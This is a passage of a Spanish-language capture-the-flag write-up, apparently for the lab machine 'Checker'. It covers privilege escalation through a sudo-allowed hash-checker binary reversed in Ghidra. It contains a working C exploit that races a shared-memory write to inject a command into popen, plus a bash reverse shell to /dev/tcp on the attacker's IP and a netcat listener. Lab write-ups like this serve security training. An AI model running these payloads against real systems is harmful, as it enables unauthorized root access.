 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Last login: Mon Jun 2 00:03:40 2025 from 10.10.16.7

reader@checker:~$

Funcionó. Podemos leer la flag de user.


Root Link to heading

Revisando qué es lo que puede ejecutar este usuario con sudo obtenemos:

reader@checker:~$ sudo -l

Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

Podemos ejecutar con privilegios lo que parece ser un script de Bash llamado check-leak.sh.

Leyendo su contenido tenemos:

#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

Este script está obteniendo el contenido del archivo .env localizado en la ruta /opt/hash-checker, extrae un nombre de usuario dado en el argumento del script luego de sanitizar todos los caracteres que no sean letras o números, y luego ejecuta el archivo /opt/hash-checker/check_leak dando como argumento a éste el usuario.

El archivo /opt/hash-checker/check_leak es un compilado para Linux:

reader@checker:~$ file /opt/hash-checker/check_leak

/opt/hash-checker/check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped

Revisando el directorio /opt/hash-checker/check_leak retorna:

reader@checker:~$ ls -la /opt/hash-checker/

total 68
drwxr-xr-x 2 root root  4096 Jan 30 17:09 .
drwxr-xr-x 5 root root  4096 Jan 30 17:04 ..
-r-------- 1 root root   118 Jan 30 17:07 .env
-rwxr--r-- 1 root root   141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root   750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root  1464 Jan 30 17:09 leaked_hashes.txt

No podemos leer el archivo .env file. Sólo el usuario root puede.

Hay un archivo llamado leaked_hashes.txt, con 24 hashes:

reader@checker:~$ cat /opt/hash-checker/leaked_hashes.txt

$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
$2b$10$a/lpwbKF6pyAWeGHCVARz.JOi3xtNzGK..GZON/cFhNi1eyMi4UIC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$DanymKXfnu1ZTrRh3JwBhuPsmjgOEBJLNEEmLPAAIfG9kiOI28fIC
$2b$10$/GwrAIQczda3O5.rnGb4IOqEE/JMU4TIcy95ECSh/pZBQzhlWITQ.
$2b$10$Ef6TBE9GdSsjUPwjm0NYlurGfVO/GdtaCsWBpVRPnQsCbYgf4oU8a
$2b$10$/KLwuhoXHfyKpq1qj8BDcuzNyhR0h0g27jl0yiX7BpBL9kO.wFWii
$2b$10$Ito9FRIN9DgMHWn20Zgfa.yKKlJ.HedScxyvymCxMYTWaZANHIzvO
$2b$10$J025XtUSjTm.kUfa19.6geInkfiISIjkr7unHxT4V/XDIl.2LYrZ2
$2b$10$g962m7.wovzDRPI/4l0GEOviIs2WUPBqlkPgVAPfsYpa138dd9aYK
$2b$10$keolOsecWXEyDIN/zDPVbuc/UOjGjnZGblpdBPQAfZDVm2fRIDUCq
$2b$10$y2Toog209OyRWk6z7S7XNOAkVBijv3HwNBpKk.R1bPCYuR8WxrL66
$2b$10$O4OQizv0TVsWxWi26tg8Xu3SCS29ZEv9JqwlY5ED240qW8V0eyG7a
$2b$10$/1ePaOFZrcpNHWFk72ZNpepXRvXIi1zMSBYBGGqxfUlxw/JiQQvCG
$2b$10$/0az8KLoanuz3rfiN.Ck9./Mt6IHxs5OGtKbgM31Z0NH9maz1hPDe
$2b$10$VGR3JK.E0Cc3OnY9FuB.u.qmwFBBRCrRLAvUlPnO5QW5SpD1tEeDO
$2b$10$9p/iOwsybwutYoL3xc5jaeCmYu7sffW/oDq3mpCUf4NSZtq2CXPYC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$8cXny33Ok0hbi2IY46gjJerQkEgKj.x1JJ6/orCvYdif07/tD8dUK
$2b$10$QAcqcdyu1T1qcpM4ZQeM6uJ3dXw2eqT/lUUGZvNXzhYqcEEuwHrvS
$2b$10$M1VMeJrjgaIbz2g2TCm/ou2srr4cd3c18gxLA32NhvpXwxo3P5DZW
$2b$10$rxp3yM98.NcbD3NeHLjGUujzIEWYJ5kiSynHOHo0JvUvXq6cBLuRO
$2b$10$ZOUUTIj7JoIMwoKsXVOsdOkTzKgHngBCqkt.ASKf78NUwfeIB4glK

reader@checker:~$ cat /opt/hash-checker/leaked_hashes.txt | wc -l

24

Probando correr este script con sudo nos retorna:

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh
Error: <USER> is not provided.

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh test
User not found in the database.

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh root
User not found in the database.

reader@checker:/dev/shm$ sudo /opt/hash-checker/check-leak.sh bob

Password is leaked!
Using the shared memory 0xE1FBF as temp location
User will be notified via bob@checker.htb

El script funciona para el usuario bob, un usuario el cual habíamos previamente encontrado.

Para saber qué es lo que hace el binario check_leak, nos traemos una copia de éste a nuestra máquina víctima. Dado que SSH tiene 2FA, scp también pregunta por 2FA. Como soy flojo, voy al directorio /opt/hash-checker/ y empiezo un servidor temporal HTTP con Python por el puerto 9001en la máquina víctima:

reader@checker:/dev/shm$ cd /opt/hash-checker/

reader@checker:/opt/hash-checker$ python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...

Y en nuestra máquina de atacantes nos descargamos el binario usando wget:

❯ wget http://10.10.11.56:9001/check_leak -q

Hora de un poco de Reverse Engineering (Ingeniería Inversa) con Ghidra. Luego de abrir el binario en Ghidra, vamos a la función main, donde podemos ver:

undefined8 main(int param_1,ulong param_2)

{
  char *__s;
  char cVar1;
  uint uVar2;
  char *pcVar3;
  char *pcVar4;
  char *pcVar5;
  char *pcVar6;
  size_t sVar7;
  void *__ptr;
  
  pcVar3 = getenv("DB_HOST");
  pcVar4 = getenv("DB_USER");
  pcVar5 = getenv("DB_PASSWORD");
  pcVar6 = getenv("DB_NAME");
  if (*(char *)((param_2 + 8 >> 3) + 0x7fff8000) != '\0') {
    __asan_report_load8(param_2 + 8);
  }
  __s = *(char **)(param_2 + 8);
  if ((((pcVar3 == (char *)0x0) || (pcVar4 == (char *)0x0)) || (pcVar5 == (char *)0x0)) ||
     (pcVar6 == (char *)0x0)) {
    if (DAT_80019140 != '\0') {
      __asan_report_load8(&stderr);
    }
    fwrite("Error: Missing database credentials in environment\n",1,0x33,stderr);
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (param_1 != 2) {
    if (*(char *)((param_2 >> 3) + 0x7fff8000) != '\0') {
      __asan_report_load8(param_2);
    }
    if (DAT_80019140 != '\0') {
      __asan_report_load8(&stderr);
    }
    fprintf(stderr,"Usage: %s <USER>\n");
    __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (__s != (char *)0x0) {
    cVar1 = *(char *)(((ulong)__s >> 3) + 0x7fff8000);
    if (cVar1 <= (char)((byte)__s & 7) && cVar1 != '\0') {
      __asan_report_load1(__s);
    }
    if (*__s != '\0') {
      sVar7 = strlen(__s);
      if (0x14 < sVar7) {
        if (DAT_80019140 != '\0') {
          __asan_report_load8(&stderr);
        }
        fwrite("Error: <USER> is too long. Maximum length is 20 characters.\n",1,0x3c,stderr);
        __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      __ptr = (void *)fetch_hash_from_db(pcVar3,pcVar4,pcVar5,pcVar6,__s);
      if (__ptr == (void *)0x0) {
        puts("User not found in the database.");
      }
      else {
        cVar1 = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",__ptr);
        if (cVar1 == '\0') {
          puts("User is safe.");
        }
        else {
          puts("Password is leaked!");
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          uVar2 = write_to_shm(__ptr);
          printf("Using the shared memory 0x%X as temp location\n",(ulong)uVar2);
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          sleep(1);
          notify_user(pcVar3,pcVar4,pcVar5,pcVar6,uVar2);
          clear_shared_memory(uVar2);
        }
        free(__ptr);
      }
      return 0;
    }
  }
  if (DAT_80019140 != '\0') {
    __asan_report_load8(&stderr);
  }
  fwrite("Error: <USER> is not provided.\n",1,0x1f,stderr);
  __asan_handle_no_return();
                    /* WARNING: Subroutine does not return */
  exit(1);
}

El script revisa que el usuario no sea más largo de 20 caracteres antes de buscar el nombre de usuarios en una base de datos:

fwrite("Error: <USER> is too long. Maximum length is 20 characters.\n",1,0x3c,stderr)

El binario hace una petición a una base de datos. Busca por usuarios en la base de datos. Si éste se encuentra en la base de datos, busca su hash en el archivo que contiene los hashes (/opt/hash-checker/leaked_hashes.txt). Si el hash del usuario está en en archivo, entonces el usuario se considera “a salvo”. Si no, su contraseña se considera “leakeada” (filtrada).

        isHashInFile = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",request_database);
        if (isHashInFile == '\0') {
          puts("User is safe.");
        }
        else {
          puts("Password is leaked!");
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          sharedMemoryAddress = write_to_shm(request_database);
          printf("Using the shared memory 0x%X as temp location\n",(ulong)sharedMemoryAddress);
          if (DAT_8001913c != '\0') {
            __asan_report_load8(&stdout);
          }
          fflush(stdout);
          sleep(1);
          notify_user(DBHOST,DBUSER,DBPASSWD,DBNAME,sharedMemoryAddress);
          clear_shared_memory(sharedMemoryAddress);
        }
        free(request_database);
      }
      return 0;

Una vez que ve que el usuario está “a salvo”, ejecuta la función write_to_shm, cuyo principal contenido es:

now_stamp = time((time_t *)0x0);
srand((uint)now_stamp);
key = rand();
shmid = shmget(key % 0xfffff,0x400,0x3b6);

Esta función se encarga de un proceso:

h_shm = (char *)shmat(shmid,(void *)0x0,0);

Y escribe un mensaje acerca de una memoria (dirección de memoria):

snprintf(h_shm,0x400,"Leaked hash detected at %s > %s\n",timestamp,hash);
shmdt(h_shm);

La función notify_user también está interesante. Ésta usa las funciones shmat y shmget para obtener el hash:

      str = strstr(hash_shmat,"Leaked hash detected");
      if (str == (char *)0x0) {
        puts("No hash detected in shared memory.");
      }
      else {
        str = strchr(str,L'>');
        if (str == (char *)0x0) {
          puts("Malformed data in the shared memory.");
        }
        else {

y llama a la función trim_bcrypt_hash:

          trimmed_bcrypt_hash = trim_bcrypt_hash(cmd_instruction + 1);
          Set_MySQLPASSWD = setenv("MYSQL_PWD",DBPASSWD,1);
          if (Set_MySQLPASSWD == 0) {
            Set_MySQLPASSWD =
                 snprintf((char *)0x0,0,
                          "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"%s\"\'"
                          ,param_2,param_4,trimmed_bcrypt_hash);
            cmd_instruction = (char *)malloc((long)(Set_MySQLPASSWD + 1));
            if (cmd_instruction == (char *)0x0) {
              puts("Failed to allocate memory for command");
              shmdt(hash_shmat);
              bVar5 = false;
            }
            else {
              snprintf(cmd_instruction,(long)(Set_MySQLPASSWD + 1),
                       "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'"
                       ,param_2,param_4,trimmed_bcrypt_hash);
              __stream = popen(cmd_instruction,"r");
              if (__stream == (FILE *)0x0) {
                puts("Failed to execute MySQL query");
                free(cmd_instruction);
                shmdt(hash_shmat);
                bVar5 = false;
              }

Esta función usa, a su vez, la función popen. Esta función se usa para ejecutar el comando mysql.

Esto significa que el programa escribe un string en un buffer compartido de memoria, duerme por un segundo y luego ejecuta popen. El plan entonces es el siguiente:

  • Aprovechar que el binario está usando popen usando una dirección de memoria para aquella instrucción.
  • Podemos tratar de inyectar código (command injection), ya que la instrucción (que es la frase Leaked hash detected at %s) siendo pasada a popen no está sanitizada.
  • Como el código “duerme” por un segundo (gracias a que hay una función sleep), esto nos da más tiempo para “utilizar” la dirección de memoria que será ejecutada posteriormente por popen.

Si podemos manipular el buffer compartido, podemos ejecutar un comando como root.

Creamos así un simple script en C, el cual imita parcialmente a la función write_to_shm que es la que define la función de memoria a utilizar, pero con una intención maliciosa:

#include <stdio.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <time.h>


int main() {
    time_t now = (unsigned int) time(NULL);
    srand(now);
    int key = rand() % 0xfffff;
    int shmid = shmget(key, 0x400, 0x3b6);
    char *h_shm = shmat(shmid, (void *) 0, 0);
    snprintf(h_shm, 0x400, "Leaked hash detected at anything > '; /dev/shm/gunzf0x;#");
    shmdt(h_shm);
}

y lo llamamos exploit.c.

Estamos inyectando código de tal manera que el código inyectado ejecuta el archivo /dev/shm/gunzf0x cuyo contenido es:

#!/bin/bash

/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"

Escribimos este script malicioso y le damos permisos de ejecución:

reader@checker:~$ echo -e '#!/bin/bash\n\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"' > /dev/shm/gunzf0x && chmod +x /dev/shm/gunzf0x

En una terminal, compilamos el archivo exploit.c y lo ejecutamos en un loop infinito en Bash:

reader@checker:~$ cd /dev/shm

reader@checker:/dev/shm$ nano exploit.c

reader@checker:/dev/shm$ gcc exploit.c -o exploit

reader@checker:/dev/shm$ while true; do ./exploit ; done

En nuestra máquina de atacantes, empezamos un listener con netcat por el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Generamos un segundo código 2FA para SSH para el usuario reader y nos conectamos en una segunda terminal. Luego, en aquella segunda terminal, ejecutamos el comando con sudo, solicitando el hash de bob:

reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob

Password is leaked!
Using the shared memory 0x160B8 as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1

Obtenemos un error, pero también una conexión en nuestro listener como root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.56] 56856
root@checker:/home/reader#

GG. Podemos extaer la flag del usuario root en el directorio /root.

~Happy Hacking